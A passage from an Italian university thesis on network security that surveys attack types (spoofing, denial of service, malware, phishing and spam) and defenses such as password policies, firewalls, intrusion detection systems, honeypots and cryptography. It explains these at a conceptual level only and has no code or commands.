Questi attacchi sono finalizzati alla penetrazione remota del computer, al furto oalterazione dei dati o al danneggiamento del sistema.

2.2.1 Fabbricazione dell’identità di un’altra entità

Attacco all’autenticazione, il principale tipo di attacco è lo spoofing, tipo di at-tacco informatico dove viene impiegata la falsificazione dell’identità (spoof). Quandola falsificazione non avviene in campo informatico si parla di social engineering. Itipi di spoofing sono:

• User account spoofing: usare nome utente e password di un altro utentesenza averne il diritto. Può avvenire utilizzando strumenti come sniffer epassword crackers.

• IP Address spoofing: si basa sul fatto che la maggior parte dei routerall’interno di una rete controllino solo l’indirizzo IP di destinazione e non quellosorgente. Le finalità di tale tecnica sono:

– superare alcune tecniche difensive contro le intrusioni, in particolare quellebasate sull’autenticazione dell’indirizzo;

– realizzare attacchi DDoS, ad esempio NTP reflection.

• MAC Address forging: il MAC address viene modificato impersonandol’indirizzo della vittima. Diversi sistemi di autenticazione/autorizzazione sonobasati su MAC address, ad esempio:

– autenticazione verso DHCP server;

– sessioni attive su Captive Portal (session Hijacking).

• ARP Spoofing / Poisoning: consiste nell’inviare intenzionalmente e inmodo forzato risposte ARP contenenti dati inesatti. In questo modo la tabellaARP di un host conterrà dati alterati.

Page 16: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 10

2.2.2 Interruzione/compromissione di servizi

Attacco alla disponibilità del servizio, i principali tipi di attacco sono:

• Denial of Service (DoS): in questo tipo di attacco si cerca di portare ilfunzionamento di un sistema informatico che fornisce un servizio, ad esempioun sito web, al limite delle prestazioni, fino a renderlo non più in grado dierogare il servizio.Gli attacchi possono essere:

– diretti (l’attaccante interagisce direttamente con la vittima);

– indiretti (l’attaccante sfrutta terze parti).

Gli attacchi vengono abitualmente attuati inviando molti pacchetti di richieste,di solito ad un server Web, FTP o di posta elettronica saturandone le risorse erendendo tale sistema instabile, quindi qualsiasi sistema collegato ad Internet eche fornisca servizi di rete basati sul TCP è soggetto al rischio di attacchi DoS.I principali attacchi sono:

– Flooding:

∗ Ping floods: invio di pacchetti ICMP, in numero maggiore a quel-li gestibili dal sistema attaccato; l’aggressore invia un grosso flus-so di traffico ICMP echo verso una serie di indirizzi di broadcastattribuendosi come indirizzo sorgente quello della vittima.

∗ TCP SYN Floods: funziona se un server alloca le risorse relativealla connessione dopo aver ricevuto un SYN, ma prima di aver ricevutoun messaggio ACK.

– Invio di pacchetti malformati:

∗ Ping di grandi dimensioni (ping of death): può causare bufferoverflow con conseguente blocco del servizio o, nei casi più gravi, crashdel sistema.

∗ UDP bombs: pacchetti UDP costruiti con valori illegali in certicampi. In qualche sistema operativo la ricezione di tali pacchettiimprevisti causa il crash.

• Distributed DoS (DDoS): per rendere più efficace l’attacco in genere vengonoutilizzati molti computer, talvolta inconsapevoli sui quali precedentemente èstato inoculato un programma appositamente creato per attacchi DoS e che siattiva ad un comando proveniente dall’hacker creatore.

2.2.3 Sfruttamento di bug nel software o vulnerabilità nel sistema

Attacco all’integrità dei sistemi e all’autenticazione, il principale tipo di attaccoè l’applicazione degli exploit noti.Un exploit è un termine usato in informatica per identificare un codice che, sfruttandoun bug o una vulnerabilità, porta all’acquisizione di privilegi o al denial of service diun computer. L’argomento degli esploit verrà approfondito nel capitolo 4.

Page 17: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 11

2.2.4 Diffusione intenzionale di vulnerabilità: Malware

Attacco all’integrità dei sistemi, software che indeboliscono la sicurezza di unarisorsa, cioè interferiscono con le operazioni svolte da un computer, rubarono in-formazioni sensibili, accedono a sistemi informatici privati, o mostrano pubblicitàindesiderata. L’informatizzazione della società e delle tecniche pubblicitarie, avvenutanegli ultimi anni, ha scaturito un forte aumento dei malware presenti in rete, comemostrato dalla figura 2.1

Figura 2.1: Diffusione Malware

Riguardo la diffusione di malware per tipo, PandaLabs, nota software house diantivirus riporta i seguenti dati del Q2 2015 (tabella 2.1 e grafico 2.2):

Tipologia di Malware Infezioni PercentualiTrojans 76,25%Viruses 1,53Worms 2,40

Adware/Spyware 5,43Other 14,39

Tabella 2.1: Infezioni Malware Q2 2015

Page 18: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 12

Figura 2.2: Infezioni Malware Q2 2015

I principali tipi di malware sono:

• Virus: sono parti di codice che si diffondono copiandosi all’interno di altriprogrammi, o in una particolare sezione del disco fisso, in modo da essereeseguiti ogni volta che il file infetto viene aperto. Un virus può sfruttare levulnerabilità (exploit) di un sistema operativo arrecando danni al sistema,rallentando o rendendo inutilizzabile il dispositivo infetto.Un Virus è solitamente composto da un numero molto ridotto di istruzioni, (dapochi byte ad alcuni kilobyte, per rendersi più difficile da individuare e facileda copiare), ed è specializzato per eseguire soltanto poche e semplici operazionie ottimizzato per impiegare il minor numero di risorse, in modo da rendersi ilpiù possibile invisibile.Caratteristica principale di un virus è quella di riprodursi e quindi diffondersinel computer ogni volta che viene aperto il file infetto, perciò per essere attivato,deve infettare un programma ospite, o una sequenza di codice che viene lanciataautomaticamente, come ad esempio nel caso dei boot sector virus.La tecnica solitamente usata dai virus è quella di infettare i file eseguibili: il virusinserisce una copia di sé stesso nel file eseguibile che deve infettare, pone tra leprime istruzioni di tale eseguibile un’istruzione di salto alla prima linea dellasua copia ed alla fine di essa mette un altro salto all’inizio dell’esecuzione delprogramma. In questo modo quando un utente lancia un programma infettatoviene dapprima impercettibilmente eseguito il virus, e poi il programma.I virus informatici più semplici sono composti da due parti essenziali, sufficientiad assicurarne la replicazione:

– Routine di ricerca: si occupa di ricercare dei file adatti ad essere infettatidal virus e controlla che gli stessi non ne contengano già una copia, perevitare una ripetuta infezione dello stesso file.

– Routine di infezione: copia il codice virale all’interno di ogni file selezionatodalla routine di ricerca, affinché venga eseguito ogni volta che il file infettoviene aperto, in maniera trasparente rispetto all’utente.

Page 19: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 13

Molti virus sono progettati per eseguire del codice estraneo alle finalità direplicazione del virus stesso e contengono dunque altri due elementi:

– Routine di attivazione: contiene i criteri in base ai quali il virus decide seeffettuare o meno l’attacco (es. una data, o il raggiungimento di un certonumero di file infetti).

– Payload: una sequenza di istruzioni in genere dannosa per il sistema ospite,come ad esempio la cancellazione di alcuni file o la visualizzazione di mes-saggi pop-up sullo schermo (gli adware sono malware che si specializzanonel far apparire banner pubblicitari su computer della vittima).

I virus possono essere criptati e magari cambiare algoritmo e/o chiave ognivolta che vengono eseguiti, quindi possono contenere altri tre elementi:

– Routine di decifratura: contenente le istruzioni per decifrare il codice delvirus.

– Routine di cifratura: di solito criptata essa stessa, che contiene il procedi-mento per criptare ogni copia del virus.

– Routine di mutazione: si occupa di modificare le routine di cifratura edecifratura per ogni nuova copia del virus.

• Worms: è una particolare categoria di malware in grado di autoreplicarsi. E’simile ad un virus, ma a differenza di questo non necessita di legarsi ad altrieseguibili per diffondersi.Tipicamente un worm modifica il computer che infetta, in modo da venireeseguito ogni volta che si avvia la macchina e rimanere attivo finché non sispegne il computer o non si arresta il processo corrispondente. Il worm tentadi replicarsi sfruttando Internet in diversi modi.Il mezzo più comune impiegato dai worm per diffondersi è la posta elettronica:il programma maligno ricerca indirizzi e-mail memorizzati nel computer ospiteed invia una copia di se stesso come file allegato (attachment) a tutti o partedegli indirizzi che è riuscito a raccogliere. I messaggi contenenti il wormutilizzano spesso tecniche di social engineering per indurre il destinatario adaprire l’allegato, che spesso ha un nome che permette al worm di camuffarsicome file non eseguibile.Questi eseguibili maligni possono anche sfruttare i circuiti del file sharing perdiffondersi. In questo caso si copiano tra i file condivisi dall’utente vittima,spacciandosi per programmi ambiti o per crack di programmi molto costosi oricercati, in modo da indurre altri utenti a scaricarlo ed eseguirlo.La tipologia più pericolosa di worm sfrutta dei bug di alcuni software o sistemioperativi, in modo da diffondersi automaticamente a tutti i computer vulnerabiliconnessi in rete.

• Bot: (o robot) è un’applicazione software che esegue attività automatizzate(script) su Internet . Solitamente, svolgono compiti che sono semplici e struttu-ralmente ripetitivi, ad un tasso più elevato di quanto sarebbe possibile per unessere umano.

Page 20: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 14

Vengono largamente utilizzati nel web spidering (web crawler), in quanto auto-matizzano le operazioni di recupero e analisi delle informazioni dai server web,più rapidamente di quanto possa fare un umano. Uno dei punti di forza deibot risiede nella difficoltà di identificarli dagli esseri umani.

• Spyware: è un tipo di software che raccoglie informazioni riguardanti l’attivitàonline di un utente (siti visitati, acquisti eseguiti in rete, ...) senza il suo con-senso, trasmettendole tramite Internet, il più delle volte, ad organizzazioni chele utilizzeranno per trarne profitto, solitamente attraverso l’invio di pubblicitàmirata.Gli spyware, a differenza dei virus e dei worm, non hanno la capacità di dif-fondersi autonomamente, quindi richiedono l’intervento dell’utente per essereinstallati. In questo senso sono dunque simili ai trojan.Uno spyware può essere installato sul computer di un ignaro utente sfruttandole consuete tecniche di ingegneria sociale. Molti programmi offerti "gratuita-mente" su Internet nascondono in realtà un malware di questo tipo: il softwaredunque non è gratuito, ma viene pagato attraverso un’invasione della privacydell’utente, spesso inconsapevole.Gli spyware costituiscono innanzi tutto una minaccia per la privacy dell’utente,in quanto sottraggono senza autorizzazione informazioni sul suo comportamentoquando connesso ad Internet: tempo medio di navigazione, orari di connessione,siti Web visitati, se non dati più riservati come gli indirizzi e-mail e le password.Questi malware portano con sé anche delle conseguenze sul funzionamentodel computer su cui sono installati. I danni vanno dall’utilizzo di banda dellaconnessione ad Internet, con conseguente riduzione della velocità percepitadall’utente, all’occupazione di cicli di CPU e di spazio nella memoria RAM.Nessuno spyware ha lo scopo di rendere inutilizzabile il sistema su cui è in-stallato, dato che esso deve essere funzionante per consentire la raccolta el’invio delle informazioni. Malfunzionamenti sono tuttavia piuttosto comuni,soprattutto nel caso si accumulino molti spyware. Un sintomo comune di unagrave infezione da spyware è la difficoltà di connettersi ad Internet, oppure lapresenza di tentativi di connessione non richiesti dall’utente.Esistono specifici programmi antispyware concepiti appositamente per rilevaree cancellare spyware dal sistema. Bisogna tuttavia considerare che la rimozionedi un componente spyware potrebbe causare il malfunzionamento del softwaredi cui esso faceva parte, e che non tutti gli spyware vengono sempre riconosciutio rimossi da antivirus e antispyware.

• Keylogger: è uno strumento in grado di intercettare tutto ciò che un utentedigita sulla tastiera del proprio, o di un altro computer. Esistono vari tipi dikeylogger:

– Hardware: vengono collegati al cavo di comunicazione tra la tastiera ed ilcomputer o all’interno della tastiera.

– Software: programmi che controllano e salvano la sequenza di tasti cheviene digitata da un utente.

• Trojan: (o trojan horse, dall’inglese "Cavallo di Troia") è un tipo di malwareche deve il suo nome al fatto che le sue funzionalità sono nascoste all’interno di

Page 21: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 15

un programma apparentemente utile; è dunque l’utente stesso che installandoed eseguendo un certo programma, inconsapevolmente, installa ed esegue ancheil codice trojan nascosto.In genere col termine Trojan ci si riferisce ai trojan ad accesso remoto (dettianche RAT dall’inglese Remote Administration Tool), composti generalmenteda 2 file: il file server, che viene installato nella macchina vittima, ed un fileclient, usato dall’attaccante per inviare istruzioni che il server esegue. In questomodo, la vittima è indotta ad eseguire il programma.I trojan non si diffondono autonomamente come i virus o i worm, quindirichiedono un intervento diretto dell’aggressore per far giungere l’eseguibilemaligno alla vittima. A volte agiscono insieme: un worm viene iniettato inrete con l’intento di installare dei trojan sui sistemi. Spesso è la vittima stessaa ricercare e scaricare un trojan sul proprio computer, ad esempio inseritiall’interno di programmi piratati.Vengono in genere riconosciuti da un antivirus aggiornato come tutti i malware;nel caso il trojan in questione non sia ancora stato scoperto dalle software housedegli antivirus, è possibile che esso venga rilevato, con la scansione euristica,come probabile malware.

• Backdoor: sono "porte" di servizio (cioè le porte sul retro) che consentono disuperare in parte o totalmente le procedure di sicurezza attivate in un sistemainformatico.Queste "porte" possono essere intenzionalmente create dai gestori del sistemainformatico per permettere una più agevole opera di manutenzione dell’infra-struttura informatica mentre più spesso da cracker intenzionati a manomettereil sistema. Possono anche essere installate autonomamente da alcuni malware(come virus, worm o trojan), in modo da consentire ad un utente esterno diprendere il controllo remoto della macchina senza l’autorizzazione del pro-prietario. Oltre ad essere molto pericolosi per l’integrità delle informazionipresenti sul sistema, le backdoor installate dai virus possono essere utilizzateper condurre degli attacchi di tipo DDoS.

• Ransomware: è un tipo di malware che limita l’accesso del dispositivo cheinfetta, richiedendo un riscatto da pagare per rimuovere la limitazione. Adesempio alcune forme di ransomware bloccano il sistema richiedendo all’utenteil pagamento per sbloccarlo, altri invece cifrano i file dell’utente chiedendo dipagare per riportare i file cifrati in chiaro.I ransomware più sofisticati utilizzano sistemi ibridi di criptazione (che nonnecessitano di condivisione di chiavi fra i due utenti) sui documenti della vittima,adottando una chiave privata casuale e una chiave pubblica fissa. L’autore delmalware è l’unico a conoscere la chiave di decriptazione privata.I Ransomware sono in continua diffusione come riporta Kaspersky in figura 2.3

Page 22: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 16

Figura 2.3: Numero di utenti attaccati da Ransomware (Q4 2014 - Q3 2015)

2.2.5 Ingegneria Sociale

Nel campo della sicurezza delle informazioni per ingegneria sociale (dall’inglesesocial engineering) si intende lo studio del comportamento individuale di una personaal fine di capire informazioni utili. Le principali tecniche sono:

• Phishing: è una attività illegale che sfrutta una tecnica di ingegneria sociale,ed è utilizzata per ottenere l’accesso a informazioni personali o riservate con lafinalità del furto d’identità mediante l’utilizzo delle comunicazioni elettroniche,soprattutto messaggi di posta elettronica fasulli o messaggi istantanei, maanche contatti telefonici.Grazie a messaggi che imitano grafico e logo dei siti istituzionali, l’utente èingannato e portato a rivelare dati personali, come numero di conto corrente,numero di carta di credito, codici di identificazione.

• Spam: lo spamming è l’invio di messaggi, anche verso indirizzi generici, nonverificati o sconosciuti, ad alta frequenza o a carattere di monotematicità tale darenderli indesiderati (generalmente commerciali o offensivi). Può essere attuatoattraverso qualunque sistema di comunicazione, ma il più usato è Internet,attraverso messaggi di posta elettronica, chat, tag board, forum, Facebook ealtri servizi di rete sociale.Il principale scopo dello spamming è la pubblicità, il cui oggetto può andaredalle più comuni offerte commerciali a proposte di vendita di materiale por-nografico o illegale, come software pirata e farmaci senza prescrizione medica,da discutibili progetti finanziari a veri e propri tentativi di truffa. L’80% delleemail inviate oggi nel mondo è Spam.In merito alla proporzione di spam nel traffico mail (Figura 2.4) e alla prove-nienza dello spam (Figura 2.5), Kaspersky, nota software house di antivirusriporta i seguenti dati del Q2 2015.

Page 23: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 2. METODI DI ATTACCO 17

Figura 2.4: Spam in proporzione al traffico mail, Gennaio - Giugno 2015

Figura 2.5: Paesi da cui proviene lo spam, Q2 2015

Page 24: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

Capitolo 3

Metodi di Difesa

Per proteggere una rete da tali fattori di rischio, visti nel capito 2, vi sono varietecniche o approcci, come impostare policy per gli utenti e gli amministratori, impo-stare sistemi di difesa della LAN o dell’host interessato e rinforzare l’autenticazionee la riservatezza nelle comunicazioni.

3.1 Policy per l’utente e l’amministratore

• Password Policy: metodo di difesa all’autenticazione, sono un insieme diregole volte a migliorare la sicurezza del computer, incoraggiando gli utentia utilizzare password complesse e non prevedibile. Le password policy sonospesso parte del regolamento ufficiale di un’organizzazione e possono essereinsegnate come parte della formazione di sensibilizzazione alla sicurezza.Alcuni governi hanno quadri di autenticazione nazionali che definiscono irequisiti per l’autenticazione degli utenti per i servizi pubblici, inclusi i requisitiper le password. I componenti tipici di una password policy include:

– Lunghezza e composizione password: molte Policy richiedono unalunghezza minima della password, dato che le password più lunghe sono lepiù sicure; certi sistemi impongono una lunghezza massima della passwordper compatibilità con i sistemi legacy. Vengono inoltre suggeriti o impostirequisiti del tipo di password che l’utente può scegliere, come ad esempio:∗ l’uso di caratteri maiuscoli e minuscoli (Case Sensitivity);∗ includere numeri e caratteri speciali (@, #, $);∗ proibire parole presenti nella password blacklist e nelle informazioni

personali dell’utente;∗ proibire password formate da date, numeri di telefono o numeri

comuni.– Password Blacklist: lista di password bloccate per l’uso. Contiene

password costituite da combinazioni di caratteri che soddiferebbero lapolicy, ma non dovrebbero essere utilizzate, perché ritenute insicure peruno o più motivi, ad esempio essere facilmente prevedibile.

– Password duration: richiede all’utente di cambiare la password perio-dicamente, ogni 90 o 180 giorni. Certi sistemi inseriscono la password

18

Page 25: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 19

precedente alla modifica nella blacklist, in modo che non sia più possibileriutilizzarla.

• Antivirus/Antispam: metodo di difesa all’integrità di sistema e alla dispo-nibilità, è un software programmato per funzionare su un computer atto aprevenire, rilevare ed eventualmente rendere inoffensivi codici dannosi, notianche come malware, spiegati nel capitolo 2.2.4. Solitamente non si limita allafunzione di eliminazione dei programmi malevoli ma ha anche una funzionepreventiva, impedendo che un virus possa entrare in un sistema ed infettarlo.Gli antivirus non sono una protezione totale contro la totalità dei virus infor-matici esistenti al mondo. Inoltre, un antivirus si basa su determinate regole ealgoritmi scritti da esseri umani, e pertanto queste possono portare a errori("falsi positivi", ossia file riconosciuti come infetti quando non lo sono, e "falsinegativi", il caso opposto) e a decisioni sbagliate. Un’ulteriore limitazione èdovuta al fatto che un virus potrebbe essere ancora non abbastanza diffuso, equindi non essere ancora stato studiato da tutti i produttori di antivirus.Gli antivirus utilizzano tecniche di analisi statica, che si basano esclusivamentesull’analisi di codice e dati dei file binari e analisi dinamica (sandbox e honey-pot), che si basano sull’esecuzione dinamica di un file per capire se è maligno obenigno.Uno dei principali metodi di funzionamento degli antivirus si basa sulla ricercanella memoria RAM o all’interno dei file presenti in un computer di uno schematipico di ogni virus: in pratica ogni virus è composto da un numero ben precisodi istruzioni e il programma non fa altro che cercare se questa sequenza èpresente all’interno dei file o in memoria. Uno schema di questo tipo vieneanche detto "virus signature". Il successo di questa tecnica di ricerca si basa sulcostante aggiornamento degli schemi che l’antivirus è in grado di riconoscere,aggiornamento effettuato solitamente da un gruppo di persone in seguito allesegnalazioni degli utenti e da gruppi specializzati nell’individuazione di nuovivirus.

• Aggiornamenti automatici: metodo di difesa all’integrità di sistema, è ilprocesso di sostituzione di un componente software di un sistema informaticocon un componente di uguale funzione più recente, avente lo scopo di risolveredei difetti riscontrati nel precedente componente, migliorarne le prestazionioppure aggiungere nuove funzioni. Questo permette di rimuovere bug presentisul software e vulnerabilità, e di conseguenza impedire l’utilizzo di exploit.

• Analisi dei Log: metodo di difesa all’auditing, consiste nella gestione enell’analisi degli eventi di sistema e di rete, come ad esempio: azioni eseguitedal sistema, cambiamento di una password, login di un certo utente e messaggidi errore di una applicazione, questo permette:

– Warning: individuare rapidamente eventuali attacchi in corso.– Trouble-shooting: mantenere uno storico degli eventi per tracciare le

attività.

• CERT: (o CSIRT – Computer Security Incident Response Team) metodo didifesa alla disponibilità, è un servizio offerto all’interno di una comunità di

Page 26: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 20

utenti Internet per la gestione di emergenze in seguito ad attacchi informatici. ICERT si pongono come un punto di riferimento per gli utenti della rete, in gradodi aiutarli a risolvere qualunque problema legato alla sicurezza informatica.Di norma un CERT è composto da persone specializzate in diversi ambiti,per esempio amministratori di rete, amministratori di sistema ed esperti insicurezza informatica. Essi sono a conoscenza di come dovrebbero apparire,in condizioni normali, i settori di loro competenza, e dunque sono in grado diaccorgersi immediatamente dell’eventuale verificarsi di un’anomalia.I compiti fondamentali di un CERT consistono nel rispondere alle segnalazionidegli utenti vittime di incidenti informatici e nell’analizzare i sistemi hardwaree software per individuarvi eventuali vulnerabilità.

3.2 Difesa della LAN o dell’Host

• Vulnerability scanner: è un programma progettato per ricercare e mapparele vulnerabilità(debolezze) di un’applicazione, di un computer o di una rete.Questo argomento viene trattato principalmente dalla presente tesi (Sezione4.3).

• Sniffer: metodo visto nella sottosezione 2.1.2 può essere utilizzato anche comemetodo di difesa alla disponibilità, considerandolo un programma di utilità cheintercetta passivamente i dati che transitano nella rete, permettendo l’analisi el’individuazione di problemi di comunicazione o di tentativi di intrusione.

• Firewall: metodo di difesa all’integrità di sistema, è una entità hardware osoftware che si pone tra internet e la rete (LAN firewall) o host (PersonalFirewall) che si vuole proteggere. Il firewall svolge una funzione di filtro,consentendo il transito solamente alle connessioni ritenute lecite mediante unaopportuna “Policy”. Gli obiettivi principali dei firewall sono:

– monitorare, limitare e autenticare l’accesso alla rete da proteggere, neiconfronti di accessi provenienti dall’esterno (Internet);

– monitorare, limitare e autenticare l’accesso all’esterno (Internet) da partedell’utenza interna.

Un firewall filtra il traffico sulla base di un insieme di regole che definisconouna policy di sicurezza. Esistono due politiche per l’applicazione delle regole:

– policy default-deny: viene permesso solo ciò che viene dichiarato esplicita-mente, il resto viene vietato.

– policy default-allow: viene vietato solo ciò che viene dichiarato esplicita-mente, il resto viene permesso.

Tutti i firewall utilizzano la politica default-deny poiché garantisce una maggioresicurezza e una maggiore accuratezza nella definizione delle regole rispetto allapolitica default-allow, anche se quest’ultima consente una configurazione piùsemplice.L’analisi dei pacchetti che costituiscono il traffico, secondo i criteri di sicurezzaformalizzati dalle regole, si traduce in una delle seguenti azioni:

Page 27: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 21

– allow: il firewall lascia passare il pacchetto.

– deny: il firewall blocca il pacchetto e lo rimanda al mittente.

– drop: il firewall blocca il pacchetto e lo scarta senza inviare alcunasegnalazione al mittente.

Figura 3.1: LAN e Personal Firewall

I firewall possono essere di 2 tipi:

– I packet filter: agiscono a livello rete e trasporto, analizza tutti i pacchet-ti in transito e applica azioni del tipo permit/deny sulla base di politichebasate sugli indirizzi IP e le porte di provenienza e/o di destinazione. Gliobiettivi dei firewall packet filter sono:

∗ rendere visibili ad internet solamente i servizi di rete destinati adun accesso pubblico (protezione dei servizi intranet e dei servizi“inconsapevoli”);

∗ bloccare il traffico indesiderato (es: P2P, ...);∗ strumento per la gestione delle emergenze (bloccare un host ostile o

contaminato da virus).

Agisce a livello di pacchetti IP, ma deve leggere anche i primi byte dellivello 4 per leggere le porte TCP o UDP.

– I proxy: agiscono a livello applicazione, sono programmi applicativi confunzioni di tramite tra client e server. In modo implicito o esplicito ilclient deve rivolgersi al proxy per poter raggiungere il server. Occorre unproxy specifico per ogni applicazione. Gli obiettivi dei firewall proxy sono:

∗ mettere in comunicazione client e server che non hanno visibilitàdiretta (ad esempio se il client è in una intranet);

∗ migliorare le prestazioni (es: Web Caching);∗ aggiungere funzionalità di security (monitoraggio, autenticazione,

filtro).

• IDS(Intrusion detection system): metodo di difesa alla disponibilità, è undispositivo software/hardware per identificare accessi non autorizzati a hosto LAN. L’IDS generalmente si appoggia su un database per memorizzare le

Page 28: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 22

regole utilizzate per individuare le violazioni di sicurezza.Gli IDS consistono in un insieme di tecniche e metodologie realizzate ad-hoc perrilevare pacchetti dati sospetti a livello di rete, di trasporto o di applicazione;sono infatti utilizzati per rilevare tutti gli attacchi alle reti informatiche eai computer. Questi attacchi includono gli attacchi alle reti informatichetramite lo sfruttamento di un servizio vulnerabile, attacchi attraverso l’invio didati malformati e applicazioni malevole, tentativi di accesso agli host tramiteinnalzamento illecito dei privilegi degli utenti, accessi non autorizzati a computere file, e i classici programmi malevoli come virus, trojan e worm.Gli IDS sono classificabili nel seguente modo:

– Host IDS (HIDS): software che analizza file di log del sistema, le systemcall, le modifiche al file system del computer (modifiche nel file dellepassword, nel database degli utenti e della gestione dei privilegi, ...) ealtre componenti del computer. Si basa sulla differenza tra lo statoanalizzato ed uno stato iniziale.

– Network IDS (NIDS): è un sistema che analizza il traffico che passa suun segmento di rete dov’è attestato, cercando tracce di attacchi. Il suofunzionamento è regolato in base a due principi:

∗ Signature matching: con cui l’ids cattura il traffico e lo confronta conun database di firme di attacchi.

∗ Network analysis: che entra in funzione quando il signature matchingfallisce e che è in grado di rilevare anomalie nei flussi di traffico equindi di rilevare anche quegli attacchi che non sono ancora statiscoperti come tali.

– Network Node IDS (NNIDS): analizza il traffico di rete che passa suun unico nodo. Differente da Host-based IDS, dato che NNIDS non operanei file all’interno del sistema.La differenza tra NNIDS e NIDS è che nelNNIDS il traffico analizzato è dell’unico nodo e non quello dell’intera rete.Un applicazione del NNIDS è quella di installarlo in un dispositivo VPNin modo tale che il traffico venga analizzato una volta decriptato.

– Hybrid IDS: combina HIDS e NIDS. Le informazioni recuperate dagliagenti in esecuzioni negli Host vengono integrate con le informazioniprelevate dalla rete locale.

Un IDS non può bloccare o filtrare i pacchetti in ingresso ed in uscita, né tantomeno può modificarli, quindi non cerca di bloccare le intrusioni, ma si limita arilevarle e segnalarle.

• Port scanner: è una tecnica informatica progettata per rilevare quali portesiano in ascolto su una macchina, permettendo di verificare se lo stato di taliporte rispettino le politiche di sicurezza della rete di appartenenza di quellamacchina. Questo argomento viene trattato in modo approfondito nella sezione4.3.2.7.

• Honeypot: è un sistema o componente hardware o software usato come "trap-pola" o "esca" a fini di protezione contro gli attacchi informatici. Solitamente

Page 29: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 23

consiste in un computer o un sito che sembra essere parte della rete e conte-nere informazioni preziose, ma che in realtà è ben isolato e non ha contenutisensibili o critici; potrebbe anche essere un file, un record, o un indirizzo IPnon utilizzato.Il valore primario di un honeypot è l’informazione che esso dà sulla natura e lafrequenza di eventuali attacchi subiti dalla rete. Gli honeypot non contengonoinformazioni reali e quindi non dovrebbero essere coinvolti da nessuna attività;rilevazioni in senso opposto possono rivelare intrusioni non autorizzate o male-vole in corso.Gli honeypot possono portare dei rischi ad una rete, e devono essere maneggiaticon cura. Se non sono ben protetti, un hacker potrebbe usarli per entrare inaltri sistemi.

• Tecniche Antispam: le tecnica principale per limitare la ricezione di spam èil filtraggio delle email mediante l’utilizzo di una lista con determinate regole,vi sono diversi tipi di liste, elenchiamo di seguito le principali:

– Black list: lista di server classificati spammers che viene attivata sul mailserver rifiutando mail che provengono da questa lista. L’amministratoredel mailserver può costruire manualmente una propria lista o può avvalersidi servizi in Internet che distribuiscono automaticamente le liste.

– Gray-List: si basano sul fatto che i mailer usati dagli spammer general-mente tentano l’invio di una email una sola volta: Il GrayListing consistenel rigetto della ricezione della mail al primo tentativo, che verrà accettataad un successivo tentativo, dopo un tempo stabilito (tipicamente 300 sec.).

– White List: liste di mittenti “fidati” su cui non vengono effettuati con-trolli antispam. Include gli host accettati da Gray-list e host inseritimanualmente dall’amministratore.

– Filtri Bayesiani: sono filtri che cercano di classificare le mail in arrivoassegnando un punteggio numerico a frasi o modelli che si presentanonel messaggio. Ogni messaggio riceve quindi un punteggio compressivo(tra 0 e 1) che, dopo aver stabilito una soglia, ci consente di classificare ilmessaggio. Il filtro richiede un addestramento con mail spam e no-spamcon cui viene creato un database di riferimento.

3.3 Rinforzo di autenticazione e riservatezza

• Crittografia: tecnica che permette di "cifrare" un messaggio rendendoloincomprensibile a tutti fuorché al suo destinatario.In generale i due processi principali che vengono applicati in crittografia sono:

– Cifratura: trasformazione carattere per carattere(o bit a bit), senzaconsiderare la struttura linguistica del messaggio.I sistemi di cifratura possono lavorare per:

∗ Trasposizione: chiamata anche permutazione significa mescolare icaratteri di un messaggio in un nuovo ordine.

Page 30: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 3. METODI DI DIFESA 24

∗ Sostituzione: scambiando un carattere con un altro carattere inaccordo con una regola specifica

Una cifratura che implementa entrambe le tecniche (trasposizione esostituzione) è chiamata "cifratura composta".

– Codifica: opera a livello di parola o frase.

Ogni sistema di crittografia ha due parti essenziali: un algoritmo (per codificaree decodificare) e una "chiave", la quale data in input con il testo "in chiaro"all’algoritmo, darà poi il testo codificato. In ogni moderno sistema di crittografiasi assume che l’algoritmo sia conosciuto dai potenziali "nemici", quindi lasicurezza di un sistema risiede solo ed esclusivamente nella segretezza dellachiave.Le principali tecniche di crittografia sono:

– Crittografia simmetrica: metodo con algoritmi che usano la stessachiave per cifrare e decifrare i messaggi. La chiave è detta segreta oprivata ed è un parametro di una funzione invertibile, servendo sia nellafase di cifratura sia in quella decifratura, rende necessario che sia il mittenteche il destinatario sia a conoscenza di tale chiave.Il principio di funzionamento si compone di tre fasi:

1. Il mittente cifra il messaggio con la chiave segreta.2. Si trasmette il messaggio cifrato attraverso un canale.3. Il destinatario riceve il messaggio cifrato e lo decifra con la chiave

segreta.

Figura 3.2: Crittografia Simmetrica

